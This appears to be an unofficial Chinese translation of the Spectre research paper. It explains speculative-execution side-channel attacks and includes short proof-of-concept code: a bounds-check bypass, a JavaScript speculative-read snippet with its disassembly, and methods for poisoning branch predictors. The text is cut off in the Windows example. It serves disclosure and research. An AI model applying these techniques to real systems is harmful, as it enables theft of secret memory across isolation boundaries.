简译版

Spectre 攻击

非官方中文译文·安天技术公益翻译组 译注

文档信息			
原文名称	Spectre		
原文作者	Paul Kocher，Daniel Genkin 等人	**原文发布日期**	2018 年 1 月
作者简介	Paul Kocher 是一位专注于密码学和数据安全的独立研究人员。 https://paulkocher.com/ Daniel Genkin 是宾夕法尼亚大学计算机与信息科学学院和马里兰大学计算机科学学院的博士后研究员。 https://www.cis.upenn.edu/~danielg3/		
原文发布单位	宾夕法尼亚大学，马里兰大学等		
原文出处	https://spectreattack.com/spectre.pdf		
译者	安天技术公益翻译组	**校对者**	安天技术公益翻译组
免责声明	• 本译文译者为安天实验室工程师，本文系出自个人兴趣在业余时间所译，本文原文来自互联网的公共方式，译者力图忠于所获得之电子版本进行翻译，但受翻译水平和技术水平所限，不能完全保证译文完全与原文含义一致，同时对所获得原文是否存在臆造、或者是否与其原始版本一致未进行可靠性验证和评价。 • 本译文对应原文所有观点亦不受本译文中任何打字、排版、印刷或翻译错误的影响。译者与安天实验室不对译文及原文中包含或引用的信息的真实性、准确性、可靠性、或完整性提供任何明示或暗示的保证。译者与安天实验室亦对原文和译文的任何内容不承担任何责任。翻译本文的行为不代表译者和安天实验室对原文立场持有任何立场和态度。 • 译者与安天实验室均与原作者与原始发布者没有联系，亦未获得相关的版权授权，鉴于译者及安天实验室出于学习参考之目的翻译本文，而无出版、发售译文等任何商业利益意图，因此亦不对任何可能因此导致的版权问题承担责任。 • 本文为安天内部参考文献，主要用于安天实验室内部进行外语和技术学习使用，亦向中国大陆境内的网络安全领域的研究人士进行有限分享。望尊重译者的劳动和意愿，不得以任何方式修改本译文。译者和安天实验室并未授权任何人士和第三方二次分享本译文，因此第三方对本译文的全部或者部分所做的分享、传播、报道、张贴行为，及所带来的后果与译者和安天实验室无关。本译文亦不得用于任何商业目的，基于上述问题产生的法律责任，译者与安天实验室一律不予承担。		

译者小序

在翻译完“Meltdown”报告后安天技术公益翻译组开始对“Spectre”报告进行了紧急速译，8 小时后完成了本次首版的粗译工作。Spectre（幽灵）攻击涉及诱导受害者推测性地执行操作，并通过侧信道将受害者的机密信息泄漏给攻击者，会对实际系统造成严重的威胁。分析人员在英特尔、AMD 和 ARM 的微处理器中发现了易受攻击的推测执行能力，而这些微处理器被应用于数十亿台设备。

目前本版本为安天文科女生翻译版，工程师们还没有校对，如有错误，请期待更新。

勘误交流地址，傲气安天 BBS 公益翻译板块，详见：
ttp://bbs.antiy.cn/forum.php?mod=viewthread&tid=77671

Spectre 攻击

Paul Kocher[1]，Daniel Genkin[2]，Daniel Gruss[3]，Werner Haas[4]，Mike Hamburg[5]，Moritz Lipp[3]，Stefan Mangard[3]，Thomas Prescher[4]， Michael Schwarz[3]，Yuval Yarom[6]

1 独立研究人员

2 宾夕法尼亚大学和马里兰大学

3 格拉茨技术大学

4 Cyberus 技术有限公司

5 加密研究部门 Rambus

6 阿德莱德大学和 Data61

摘要

现代处理器使用分支预测和推测执行实现性能最大化。例如，如果一个分支的目的地依赖于正在读取的内存值，则 CPU 将尝试猜测目的地并尝试提前执行。当最终读取内存值时，CPU 或者丢弃或者执行推测计算。推测逻辑在执行方式上是不忠实的，可以访问受害者的内存和寄存器，并且可以执行具有可测量的副作用的操作。

Spectre（幽灵）攻击涉及诱导受害者推测性地执行在正常情况下不会执行的操作，并通过侧信道将受害者的机密信息泄漏给攻击者。本文描述了实际的攻击，它将侧信道攻击、故障攻击和返回导向编程（return-oriented programming）方法结合起来，可以从受害者的进程中读取任意内存。更广泛地说，本文表明推测执行的实现违反了支撑着大量软件安全机制的安全假设，包括操作系统进程分离、静态分析、容器化、即时编译、访问缓存耗时/侧信道攻击对策。这些攻击会对实际系统造成严重的威胁，因为我们在英特尔、AMD 和 ARM 的微处理器中发现了易受攻击的推测执行能力，而这些微处理器被应用于数十亿台设备。

虽然在某些情况下可以采用处理器特有的对策，但是健全的解决方案需要修复处理器设计以及更新指令集架构（ISA），以便硬件架构师和软件开发人员都能够了解在哪种计算状态下 CPU 实现允许（不允许）泄露。

1 简介

由物理设备执行的计算通常会在计算的标称输出之外留下可观察到的副作用。侧信道攻击侧重于利用这些副作用来提取机密信息（如果没有这些副作用则无法提取）。自从 90 年代末出现侧信道攻击以来[25]，攻击者利用许多物理效应，如功耗[23，24]，电磁辐射[31]或噪声[17]，来提取密钥和其他机密信息。

侧信道攻击可用于从 PC 和手机等复杂设备中提取机密信息[15，16]，同时，这些设备面临着其他威胁，因为它们执行来源不明的代码。尽管一些基于软件的攻击利用了软件漏洞[如缓冲区溢出漏洞或释放后使用

（use-after-free）漏洞]，但也有一些软件攻击利用硬件漏洞来泄露敏感信息。后一种攻击包括利用访问缓存耗时的微架构攻击[9，30，29，35，21，36，28]、分支预测历史记录[7，6]或分支目标缓存器[26，11]）。基于软件的技术也被用来执行改变物理内存[22]或内部 CPU 值[34]的故障攻击。

推测执行是高速处理器使用的一种技术，通过猜测未来可能的执行路径并提前执行其中的指令来提高性能。例如，如果程序的控制流程取决于物理内存中的未缓存值，可能需要几百个时钟周期才能知道该值。处理器不会浪费时间来等待，而是猜测控制流的方向，保存其寄存器状态的检查点，并以猜测的路径推测性地执行程序。当从内存中提权了该值后，处理器会检查初始猜测是否正确。如果猜测是错误的，则处理器通过将寄存器状态恢复到存储的检查点来丢弃（错误的）推测执行，导致的结果与空等一样。然而，如果猜测是正确的，那么推测执行的结果就会被采用，从而在延迟期间完成有用的工作，显著提高性能。

从安全角度来看，推测执行涉及以可能不正确的方式执行程序。然而，由于处理器被设计为能够恢复不正确的推测执行的结果以保持正确性，所以这些错误以前被认为不具有任何安全影响。

1.1 研究结果

利用推测执行。在本文中，我们展示了一类我们称之为 Spectre（幽灵）攻击的微架构攻击。概括地说，Spectre 攻击诱导处理器推测性地执行在正确的程序执行过程中不应执行的指令序列。由于这些指令对标称 CPU 状态的影响最终会被恢复，我们称之为临时指令。通过仔细选择推测性地执行哪个临时指令，我们能够从受害者的内存地址空间读取信息。

我们能够使用临时指令序列读取信息，这证明了 Spectre 攻击的可行性。

使用本机代码进行攻击。我们创建了一个简单的受害者程序，其内存访问空间中包含机密数据。接下来，在编译受害者程序后，我们搜索得到的二进制文件和操作系统的共享库，以查找可用于从受害者地址空间泄漏信息的指令序列。最后，我们编写了一个攻击者程序，利用 CPU 的推测执行功能来执行先前发现的序列（作为临时指令）。使用这种技术，我们能够读取受害者的整个内存地址空间，包括存储在其中的机密数据。

使用 JavaScript 进行攻击。除了使用本机代码突破进程隔离边界之外，Spectre 攻击还可以使用可移植的 JavaScript 代码突破浏览器沙箱。我们编写了一个 JavaScript 程序，它能够成功地从运行它的浏览器进程的地址空间读取数据。

1.2 技术

概括地说，Spectre 攻击将推测执行和通过微架构隐蔽信道的数据渗漏结合起来突破内存隔离边界。更具体地说，攻击者为了发起攻击，首先在进程地址空间内定位一个指令序列，当这个指令序列执行时，它就是一个隐蔽信道发送器，会泄漏受害者的内存或寄存器内容。然后攻击者诱导 CPU 推测性地（错误地）执行这个指令序列，从而通过隐蔽信道泄露受害者的信息。最后，攻击者通过隐蔽信道检索受害者的信息。虽然这

种错误的推测执行导致的标称 CPU 状态的改变最终被还原，但是对 CPU 的其他微架构部分（例如缓存内容）的改变无法恢复。

以上对 Spectre 攻击的描述比较概括，需要用具体的实例进行阐述——引发错误的推测执行并确定微架构隐蔽信道。尽管隐蔽信道有很多选择，但本文所述的是使用 Flush + Reload [37]或 Evict + Reload [28]技术实现的基于缓存的隐蔽信道。

我们继续描述我们用于诱导和影响错误的推测执行的技术。

利用条件分支。为了利用条件分支，攻击者需要分支预测器错误地预测分支的方向，然后处理器必须推测性地执行正常情况下不会执行的代码，从而泄漏攻击者所寻求的信息。以下是可利用代码的示例：

```
if (x < array1_size)
   y = array2[array1[x] * 256];
```

在这个例子中，变量 x 包含攻击者控制的数据。if 语句编译为分支指令，其目的是验证 x 的值是否在合法范围内，确保对 array1 的访问是有效的。

攻击者首先用有效的输入调用相关的代码，训练分支预测器预测 if 语句将是真实的。然后，攻击者使用 array1 范围外的值 x 和未缓存的 array1_size 调用代码。CPU 猜测边界检查是真（true）的，推测性地使用恶意 x 来执行从 array2 [array1 [x] * 256]中读取的值。从 array2 中读取的值使用恶意 x 将数据加载到在一个依赖于 array1 [x]的地址的缓存中。当处理器意识到推测执行错误时，缓存状态的改变已经无法恢复了，攻击者可以利用这个错误读取受害者的内存。通过使用不同的 x 值，攻击者可以利用这种方法读取受害者的内存。

利用间接分支。这种方法利用返回导向编程（ROP）[33]，攻击者从受害者的地址空间中选择一个小工具（gadget），诱导受害者推测性地执行该工具。与 ROP 不同，攻击者不会依赖代码中的漏洞，而是训练分支目标缓存器（BTB）错误地预测间接分支指令到小工具地址的分支，导致小工具的推测执行。当推测性执行的指令被丢弃时，它们对缓存的影响不会被恢复。这个小工具可以利用这种结果来泄漏敏感信息。我们展示了这种方法如何通过选择一个小工具来读取任意内存。

为了错误地训练 BTB，攻击者在受害者的地址空间中找到小工具的虚拟地址，然后执行到这个地址的间接分支。这个训练是从攻击者的地址空间完成的，攻击者的地址空间中的小工具地址上的内容并不重要，只要用于训练分支的分支使用相同的目的虚拟地址就行。（事实上，只要攻击者处理异常情况，即使没有代码映射到攻击者的地址空间中的小工具的虚拟地址上，攻击也可以进行）。攻击者也不需要完全匹配用于训练的分支的源地址和目标分支的地址。因此，攻击者在创建训练方面有很大的灵活性。

其他变种。进一步的攻击可以通过改变实现推测执行的方法和用于泄漏信息的方法来实现。前者的例子包括错误地训练返回指令或从中断返回。后者的例子包括通过耗时变化或通过在算术单元上产生抢占而泄漏信息。

1.3 目标硬件和当前状态

硬件。我们已经验证了几款英特尔处理器易受 Spectre 攻击，其中包括 Ivy Bridge，Haswell 和 Skylake 处理器。我们还验证了该攻击适用于 AMD Ryzen CPU。最后，我们还成功地对流行手机中使用的几款三星和高通处理器（使用 ARM 架构）执行了 Spectre 攻击。

当前状态。本着负责任的披露原则，我们向英特尔、AMD、ARM、高通以及其他 CPU 供应商披露了我们的初步研究结果。我们还联系了其他公司，包括亚马逊、苹果、微软、谷歌等。Specter 系列攻击记录在 CVE-2017-5753 和 CVE-2017-5715 漏洞公告中。

1.4 Meltdown

Meltdown（熔断）[27]是一个相关的微架构攻击，利用乱序执行来泄漏目标的物理内存。Meltdown 攻击与 Specter 攻击有两个主要的区别。首先，与 Spectre 不同，Meltdown 不使用分支预测来实现推测执行。相反，它依赖于观察：当一条指令产生陷阱时，后面被乱序执行的指令将被中止。其次，Meltdown 利用了英特尔处理器特有的提权漏洞，该漏洞导致推测性执行的指令可以绕过内存保护。结合这些问题来看，Meltdown 从用户空间访问内核内存。这种访问会导致陷阱，但是在陷阱被发布之前，访问之后的代码会通过缓存信道泄漏被访问内存的内容。

与 Meltdown 不同，Spectre 攻击针对非英特尔处理器，包括 AMD 和 ARM 处理器。此外，被广泛用于缓解 Meltdown 攻击的 KAISER 补丁[19]并不能防止 Spectre 攻击。

2 背景

在本章中，我们将介绍现代高速处理器的一些微架构组件，它们如何提高性能以及如何从正在运行的程序泄漏信息。我们还将描述返回导向编程（ROP）和“小工具”。

2.1 乱序执行

乱序执行通过允许程序指令流中的指令与先前指令并行执行，有时甚至先于先前指令执行，从而增加了处理器组件的利用率。

处理器在重组缓存器中排列完成的指令。重组缓存器中的指令按照程序执行顺序完成执行，即只有当某条指令前面所有的指令都完成后，才轮得到它执行。

执行完成后，执行结果才会被承认，并在外部显现出来。

2.2 推测执行

通常，处理器不知道程序未来的指令流。例如，当一个条件分支指令（其方向取决于尚未完成执行的先前指令）乱序执行时，就会发生推测执行。在这种情况下，处理器可以保存包含当前寄存器状态的检查点，预测程序将要遵循的路径，并且根据该路径推测性地执行指令。如果预测正确，则不需要检查点了，并且根据程序执行顺序完成指令的执行。如果处理器发现路径不正确，它会通过从检查点重新加载它的状态而丢弃检查

点之后的所有未决指令，并且沿着正确的路径继续执行。

程序执行路径之外的指令被丢弃，因此它们所做的更改不会被程序看到。因此，推测执行会保持程序的逻辑状态，就像遵循正确的路径一样。

2.3 分支预测

推测执行要求处理器猜测分支指令的可能结果。更好的预测可以通过增加成功执行的推测执行操作的数量来提高性能。

一些处理器组件用于预测分支的结果。分支目标缓存器（BTB）保持从最近执行的分支指令的地址到目的地址的映射[26]。即使在解码分支指令之前，处理器也可以使用 BTB 来预测未来的代码地址。Evtyushkin 等人[11]分析了英特尔 Haswell 处理器的 BTB，并得出结论：只有分支地址的 30 位最低有效位用于索引 BTB。我们的实验显示了类似的结果，但只需要 20 位最低有效位。

对于条件分支，记录目标地址不足以预测分支的结果。为了预测是否采用条件分支，处理器保持着最近分支输出的记录。Bhattacharya 等人[10]分析了近期英特尔处理器中分支历史记录预测的结构。

2.4 内存层级结构

为了弥合更快的处理器和更慢的内存之间的速度差距，处理器使用越来越小但越来越快的缓存层级结构。缓存将内存划分为固定大小的块，称为行，典型的行大小为 64 或 128 字节。当处理器需要来自内存的数据时，它首先检查层级结构顶部的 L1 缓存是否包含副本。在缓存命中（cache hit）的情况下，如果在缓存中找到数据，数据就会从 L1 缓存中检索并使用。在缓存未命中(cache miss）的情况下，重复该过程以从下一个缓存级别中检索数据。此外，数据存储在 L1 缓存中，以备将来再次使用。现代英特尔处理器通常具有三个缓存级别，每个内核具有专用的 L1 和 L2 缓存，所有内核共享一个共同的 L3 缓存[也称为最后一级缓存（LLC）]。

2.5 微架构侧信道攻击

上面讨论的所有微架构组件都可以通过预测未来的程序行为来提高处理器的性能。为了达到这个目的，它们保持依赖过去的程序行为的状态，并假设未来的行为与过去的行为相似或相关。

当多个程序在同一个硬件上执行时，它们既可以同时执行，也可以分时执行，由一个程序的行为引起的微架构状态的变化可能会影响到其他程序。这反过来又可能导致从一个程序到另一个程序的意外信息泄漏[13]。过去的研究已经证明，可以通过 BTB [26，11]、分支历史记录[7，6]和缓存[29，30，35，21]泄漏信息。

在本文中，我们使用 Flush + Reload 技术[21 ,36]及其变种 Evict + Reload[20]泄露敏感信息。使用这些技术，攻击者首先从缓存中清除（evict）与受害者共享的缓存行。在受害者执行一段时间之后，攻击者测量在对

应于被清除缓存行的地址处执行内存读取所花费的时间。如果受害者访问了被监控的缓存行，数据将会在缓存中，并且读取将会很快。反之，如果受害者没有访问该行，读取将会很慢。因此，通过测量访问时间，攻击者能够了解受害者是否在清除和探查（probe）步骤之间访问了被监控的缓存行。

这两种技术之间的主要区别在于从缓存中清除所监控的缓存行的机制。在 Flush + Reload 技术中，攻击者使用专用的机器指令，例如 x86 的 clflush，来清除该行。在 Evict + Reload 中，清除是通过对存储该行的缓存强行抢占来实现的，例如，通过访问其他被存入缓存并（由于缓存的大小有限）导致处理器清除该行的内存位置。

2.6 返回导向编程

返回导向编程（ROP）[33]是一种利用缓冲区溢出漏洞的技术。该技术通过链接机器代码片段[即在代码中找到的小工具（gadget）]来工作。更具体地说，攻击者首先在受害二进制文件中找到可用的小工具。然后，利用缓冲区溢出漏洞将一系列小工具地址写入受害者程序堆栈。每个小工具在执行返回指令之前都会执行一些计算。返回指令从堆栈中获取返回地址，并且由于攻击者控制这个地址，返回指令有效地跳转到链中的下一个小工具。

3 攻击概述

Spectre 攻击诱导受害者推测性地执行在正确的程序执行过程中不会发生的操作，并通过侧信道将受害者的机密信息泄露给攻击者。我们首先介绍利用条件分支错误预测（第四章）的变种，然后介绍利用间接分支目标错误预测的变种（第 5 章）。

在大多数情况下，攻击从一个设置阶段开始，在这个阶段，攻击者执行错误训练处理器的操作，使其稍后进行错误的推测。另外，设置阶段通常包括帮助诱导推测执行的步骤，例如执行针对性的内存读取，使处理器从其缓存中清除确定分支指令目的地所需的值。在设置阶段，攻击者还可以准备用于提取受害者信息的侧信道，例如，通过执行 flush+reload 攻击中的刷新（flush）操作或 evict+reload 攻击中的清除（evict）操作。

在第二阶段，处理器推测性地执行将受害者环境中的机密信息传输到微架构侧信道的指令。这可以通过请求受害者执行某个操作（例如，通过系统调用、套接字、文件等）来触发。在其他情况下，攻击者可以利用其自身代码的推测（错误）执行，以从相同的进程获取敏感信息（例如，如果攻击代码被解释器、即时编译器或“安全的”语言捕获，并希望读取它不应该访问的内存）。虽然推测执行可能通过各种各样的侧信道暴露敏感数据，但我们给出的例子会引发推测性执行：在攻击者选择的地址处读取内存值，然后执行一个内存操作，以修改缓存状态并暴露该值。

在最后阶段，敏感数据被恢复。对于使

用 flush + reload 或 evict + reload 的 Spectre 攻击，恢复过程包括测量从被监控的缓存行中读取内存地址需要多长时间。

Spectre 攻击只是假设推测执行的指令可以从内存中读取受害进程可以正常访问的内容，例如，不触发页面错误或异常。举例来说，如果处理器阻止用户进程中的指令推测性地访问内核内存，则攻击仍然可以运作[12]。因此，Spectre 与 Meltdown [27]是不同的，它利用了一些 CPU 允许用户指令的乱序执行来读取内核内存的情况。

4 利用条件分支错误预测

考虑清单 1 中的代码是从不受信任的源接收无符号整数 x 的函数（如内核系统调用或加密库）的一部分。运行代码的进程可以访问大小为 array1_size 的无符号字节数组 array1 和大小为 64KB 的第二个字节数组 array2。

```
if (x < array1_size)
    y = array2[array1[x] * 256];
```

清单 1：条件分支示例

代码片段以对安全性至关重要的 x 的边界检查开始。特别地，该检查防止处理器读取 array1 以外的敏感内存。否则，出站输入 x 可能会触发异常，或者可能导致处理器通过提供 x =（要读取的秘密字节的地址）-（array1 的基地址）来访问敏感内存。

不幸的是，在推测执行期间，边界检查的条件分支可以遵循不正确的路径。例如，假设攻击者导致代码运行如下：

- x 的值被恶意选择（并出站），使得 array1[x]解析为受害者内存中的某个秘密字节 *k*。
- array1_size 和 array2 未存在于处理器的缓存中，但 *k* 被缓存；而且
- 之前的操作收到有效的 x 值，导致分支预测器假设 if 可能为真。

这种缓存配置可自然发生，也可以由攻击者创建，例如：只需读取大量的内存就可以用不相关的值填充缓存，然后让内核在合法的操作中利用密钥。如果缓存结构是已知的[38]，或者 CPU 提供了缓存 flush 指令（例如：x86 的 clflush 指令），那么可以更高效地实现缓存状态。

当上述的编译代码运行时，处理器首先比较 x 的恶意值和 array1_size。读取 array1_size 导致缓存未命中，并且处理器面临相当大的延迟，直到其可从 DRAM 获得该值。在这个等待期间，分支预测器假定 if 为真，并且推测执行逻辑将 x 添加到 array1 的基地址，并请求来自内存子系统的结果地址的数据。这样的读取是一种缓存命中，并快速回传秘密字节 k 的值。然后，推测执行逻辑使用 k 来计算 array2 [k * 256]的地址，并发送从内存（导致另一个缓存未命中）中读取该地址的请求。当从 array2 读取未决时，array1_size 的值最终从 DRAM 中到达。处理器意识到其推测执行是错误的，并倒退其注册状态。然而，在实际的处理器中，array2 的推测读取以地址特定的方式影响缓存状态，其中地址依赖于 k。

要完成攻击，攻击者只需检测缓存状态的变化，以恢复秘密字节 k。如果 array2 被

攻击者可读，那么这很容易，因为下一次读取到 array2[n*256]的对于 n = k 将是快速的，而对于其他所有 n∈0..255 是缓慢的。否则，质数和探查（prime-and-probe）攻击[29]可以通过检测由 array2 读取引起的清除来推断 k。或者，攻击者可以立即调用带有入站值 x’ 的目标函数，并测量第二次调用需要多长时间。如果 array1[x’] = k ，那么在 array2 中访问的位置将存在于缓存中，并且操作将比 array1[x’]! = k 更快。这产生了一个内存比较操作，当重复调用时，可以根据需要解决内存字节。另一变种将利用进入推测执行的缓存状态，因为推测执行的性能基于 array2[k*256]是否被缓存而改变，然后可以基于来自后续推测执行指令的任何可测量的效果来推断。

4.1 讨论

在多个 x86 处理器架构上进行实验，包括 Intel Ivy Bridge(i7-3630QM)、Intel Haswell（i7-4650U)、Intel Skylake（Google 云上的未指定 Xeon)以及 AMD Ryzen。在所有这些 CPU 上都观察到了幽灵漏洞。在 32 位和 64 位模式以及 Linux 和 Windows 上都观察到了类似的结果。一些 ARM 处理器也支持推测执行[2] ,并且初步测试证实 ARM 处理器也受到了影响。

推测执行可以在主处理器之前进行。例如，在大多数测试中使用的 i7 Surface Pro 3（i7-4650U）上，附录 A 中的代码在 “if” 语句和访问 array1/array2 之间的源代码中插入了 188 条简单的指令。

4.2 C 语言示例

附录 A 包含 C 中针对 x86 处理器的演示代码。

在这段代码中，如果 victim_function() 中的已编译指令是以严格的程序顺序执行的 ,那么函数只能从 array1 [0..15]开始读取，因为 array1_size=16。但是，当进行推测执行时，出站读取也是可能的。

read_memory byte() 函数对 victim_function()进行几次训练调用，使分支预测器期望 x 的有效值，然后利用出站 x 进行调用。条件分支的误预测，以及随后的推测执行将读取利用出站 x 的秘密字节。然后推测代码从 array2[array1[x] *512]中读取，将 array1[x]的值泄漏到缓存状态。

为了完成攻击，可以使用一个简单的 flush+probe 来确定在 array2 中加载了哪些缓存行，并对内存内容进行更新。攻击重复多次，因此即使目标字节最初未被缓存，第一次迭代也会将其带入缓存。

附录 A 中未优化的代码在 i7 Surface Pro 3 上的读取速度大约是 10kb/秒。

4.3 JavaScript 示例

作为一个概念验证，在 Google Chrome 浏览器中运行时，编写的 JavaScript 代码是允许 JavaScript 从其运行进程中读取隐私内存（参见清单 2）的。部分用于执行泄露的 JavaScript 代码如下所示，其中常量 TABLE1 STRIDE=4096，且 TABLE1 BYTES=225。

在分支-预报器的使用中，索引被设置为（通过位操作）一个内值，然后在最后的

迭代索引中将出站地址设置为 simpleByteArray。变量 localJunk 用于确保操作没有被优化，并且“| 0”操作作为 JavaScript 解释器的优化提示，其值是整数。

像其他优化的 JavaScript 引擎一样，V8 执行即时编译将 JavaScript 转换成机器语言。为了在开发过程中获得 JIT 输出的 x86 反汇编，

```
1 if (index < simpleByteArray.length) {
2   index = simpleByteArray[index | 0];
3   index = (((index * TABLE1_STRIDE)|0) & (TABLE1_BYTES-1))|0;
4   localJunk ^= probeTable[index|0]|0;
5 }
```

清单 2：利用 JavaScript 进行推测执行

```
1 cmpl r15,[rbp-0xe0]              ; Compare index (r15) against simpleByteArray.length
2 jnc 0x24dd099bb870               ; If index >= length, branch to instruction after movq below
3 REX.W leaq rsi,[r12+rdx*1]       ; Set rsi=r12+rdx=addr of first byte in simpleByteArray
4 movzxbl rsi,[rsi+r15*1]          ; Read byte from address rsi+r15 (= base address+index)
5 shll rsi, 12                     ; Multiply rsi by 4,096 by shifting left 12 bits}\%\
6 andl rsi,0x1fffffff              ; AND reassures JIT that next operation is in-bounds
7 movzxbl rsi,[rsi+r8*1]           ; Read from probeTable
8 xorl rsi,rdi                     ; XOR the read result onto localJunk
9 REX.W movq rdi,rsi               ; Copy localJunk into rdi
```

清单 3：在 JavaScript 示例（清单 2）中进行推测执行反汇编

使用了命令行工具 D8。为了获取本地内存（而不是缓存在寄存器中或需要多条指令获取）中 simpleByteArray.length 的值，需要手动调整导致上面代码片段的源代码。有关 D8（使用 AT&T 汇编语法）的反汇编输出，请参见清单 3。

无法从 JavaScript 中访问 clflush 指令，因此通过从大型数组中以 4096 个字节间隔读取的一系列地址来执行缓存刷新。由于 Intel 处理器上的内存和缓存配置，一系列 ~2000 这样的读取（取决于处理器的缓存大小）足以将处理器缓存中的数据从中删除，地址位为 11-6[38]。

对于 n ∈ 0..255，泄漏结果通过 probeTable[n*4096]的缓存状态传递，所以每次尝试都是从刷新信道开始，这包括 probeTable[*n**4096]利用 n > 256 的值产生的一系列读取操作。缓存似乎有几种模式来决定要清除哪个地址，所以为了鼓励使用 LRU（最近最少使用）模式，使用了两个索引，第二个通过几个操作来跟踪第一个。长度参数（例如反汇编中的[ebp-0xe0]）也需要被清除出去。虽然它的地址是未知的，但是相对于 4096 字节的边界，只有 64 个可能的 64 字节偏移量，所有 64 种可能性都试图找到有效的方法。

JavaScript 不提供对 rdtscp 指令的访问，Chrome 有意降低其高分辨率定时器的准确性，以阻止利用 performance.now() [1]的定时攻击。但是，HTML5 的 Web Workers 特性使得创建一个单独的线程变得简单，该线程在共享内存位置[18, 32]中重复地减少了一个值。这种方法产生了一个高分辨率计时器，能够提供足够的分辨率。

5 使间接分支中毒

间接分支指令能够跳转到两个以上的可能目标地址。例如，x86 指令可以跳转到寄存器(“jmp eax”)或内存地址(“jmp [eax]”或“jmp dword ptr [0x12345678]”)中的地址，或堆栈中的地址(“RET”)。ARM(例如“MOV pc，r14”MIPS（例如“jr $ra”）、RISC-V（例如“jalr x0,x1,0”）以及其他处理器也支持间接分支。

如果目标地址的确定由于缓存未命中而被延迟，并且分支预测器已经被恶意目的地所误导，则推测执行可能在攻击者选择的位置处继续。因此，推测执行可能被误导到合法程序执行期间永远不会出现的位置。如果推测执行能够留下可度量的副作用，那么对于攻击者来说，这是非常强大的，例如：即使在没有可使用的条件分支误预测的情

况下，也会暴露出受害者的内存。

考虑这样一种情况：当一个间接分支发生时，攻击者试图读取受害者的内存所控制的两个寄存器中的值（表示为 R1 和 R2）。这是一种常见的情况；当寄存器包含攻击者可以控制的值时，操纵外部接收数据的函数会例行地进行函数调用。（通常这些值被函数忽略；寄存器在被调用函数的开始处被压入堆栈并在结束时被恢复）。

假设 CPU 将推测执行限于受害者可执行的内存指令中，就需要找到一个“小工具”，其推测执行将会泄漏所选的内存。例如，这样的小工具由两条指令（不一定需要相邻）形成，其中第一条指令将由 R1 寻址的内存位置（或异或、减掉等等）添加到寄存器 R2 上，之后是任何能够访问 R2 中地址的内存的指令。在这种情况下，这个小工具为攻击者提供了控制（通过 R1）哪个地址进行泄漏，和控制（通过 R2）泄漏的内存如何映射到第二个指令读取的地址。（Windows 上的示例实现更详细地描述了使用这种小工具的示例内存读取过程。）

许多其他的利用情况都是可能的，这取决于攻击者的已知或控制的状态，其中攻击者所寻求的信息（例如寄存器、堆栈、内存等）存在时、攻击者有能力控制推测执行、哪些指令序列可用来形成小工具、以及哪些渠道可以从推测执行中泄露信息。例如，如果攻击者可以简单地在指令中诱导推测执行，这一指令在寄存器指定的地址中引入缓存内存，那么在寄存器中回传秘值的密码函数可能被利用。同样，虽然上面的例子假设攻击者控制两个寄存器（R1 和 R2），但攻击者控制单个寄存器、栈上的值或者内存值对于一些小工具来说也是足够的。

在许多方面，利用类似于面向回程的编程（ROP），除非正确编写的软件易受攻击，否则小工具的持续时间有限，但不需要彻底第终止（因为 CPU 将最终识别推测错误），并且小工具必须通过侧信道而非明确的方式来渗透数据。不过，推测执行可以执行复杂的指令序列，包括从堆栈读取、执行算法、进行分支（包括多次）以及读取内存。

5.1 讨论

测试主要针对的是基于 Haswell 的 Surface Pro 3，它证实了在 Intel x86 处理器的一个超线程中执行的代码能够误导在不同的超线程中运行同一 CPU 的代码预测器。在 Skylake 上进行的测试还表明，在同一个 vCPU 上（也可能发生在 Haswell 上）的进程之间，分支历史可能出现误导。

分支预测器维护一个将跳转历史映射到预测的跳转目的地的缓存，所以成功的错误训练需要说服分支预测器创建一个条目，其历史足以模拟受害者到目标分支的引导，并且其预测目的地是小工具的虚拟地址。

观察到几个相关的硬件和操作系统实施选择，包括：

- 只有在受害线程可执行分支目标地址时才能观察到推测执行，因此小工具需要存在于受害者可执行的内存区域中。

- 当多个 Windows 应用程序共享同一个 DLL 时，通常会加载一个副本，并且（除如下所述修改的页面）映射到使用该 DLL 的所有进程的相同虚拟地址。

即使是一个非常简单的 Windows 应用程序，工作集中的可执行 DLL 文件也包含了几兆的可执行代码，这为搜索小工具提供了足够的空间。

- 对于历史匹配和预测，分支预测器似乎只关注分支目的地的虚拟地址。执行跳转指令的源地址、物理地址、时序和进程 ID 似乎并不重要。

- 跟踪和匹配跳转历史的算法似乎只使用虚拟地址的低位（通过简单的 hash 函数进一步减少）。结果，攻击者甚至不需要能够在包含受害者的分支指令的任何内存地址中执行代码。ASLR 也可以得到补偿，因为高位被忽略，并且 15..0 位在 Win32 或 Win64 中不会被 ASLR 随机化。

- 分支预测器从向非法目的地跳转中学习。虽然在攻击者的进程中触发了一个异常，但这很容易被捕获（例如，在 C ++中使用 try ... catch）。然后，分支预测器将做出将其他进程发送到非法目的地的预测。

- 没有观察到跨 CPU 的误导行为，表明每个 CPU 上的分支预测器独立运行。

- DLL 代码和常量数据区域可以被使用 DLL 的任何进程读取和 clflush，这使得它们可以方便地在清除和探查（flush+probe）攻击中被用作表区域。

- DLL 区域可以由应用程序编写。使用 copy- on-write 机制，因此这些修改仅对执行修改的进程可见。尽管如此，这简化了分支预测器的错误操作，因为无论什么指令遵循小工具，它都允许小工具在错误训练中彻底地返回。

尽管测试是在 Windows 8 系统上使用 32 位应用程序执行的，但是 64 位模式和其他版本的 Windows 和 Linux 共享库也可能进行类似的运作。内核模式测试还没有被执行，但是历史匹配中的地址截断/哈希和通过跳转到非法目标的可训练性组合意味着可能对内核模式进行攻击。对其他类型跳转（如中断和中断返回）的影响也是未知的。

5.2 Windows 示例

一个简单的程序，作为概念验证，被编写为生成一个随机密钥，然后执行一个无限循环，调用 Sleep（0），加载文件的第一个字节（例如作为头文件），调用 Windows 加密函数计算（key||header）的 SHA-1 哈希，并在 header 改变时打印哈希。当该程序被优化编译，调用 Sleep()是通过寄存器 ebx 和 edi 中的文件数据进行的。在这一点上攻击者似乎没有采取任何行动。如上所述，寄存器中具有攻击者选择的值的函数调用是常见的，尽管具体情况（例如哪些值出现在哪个寄存器中）通常由编译器优化确定，因此难以从源代码预测。测试程序中不包括任何帮助攻击者的存储器刷新操作或其他修改。

第一步是找出一个小工具，当这个小工具用 ebx 和 edi 的攻击者控制值推测执行时，会从受害者进程中揭示攻击者选择的存储器。如上所述，这个小工具必须位于受害者进程的工作集中的可执行页面中。（在 Windows 中，DLL 中的一些页面被映射到地址空间中，但在成为工作集的一部分之前需

要软页面错误。）编写一个简单的程序，其保存了自己的工作集页面，这些页面主要代表工作集所有应用程序共有的内容。然后在这个输出中搜索潜在的小工具，为 ebx 和 edi（以及其他对寄存器）生成多个可用的选项。其中，选择（非任意选择）在 Windows 8 和 Windows 10 中的 ntdll.dll 中出现的以下字节序列

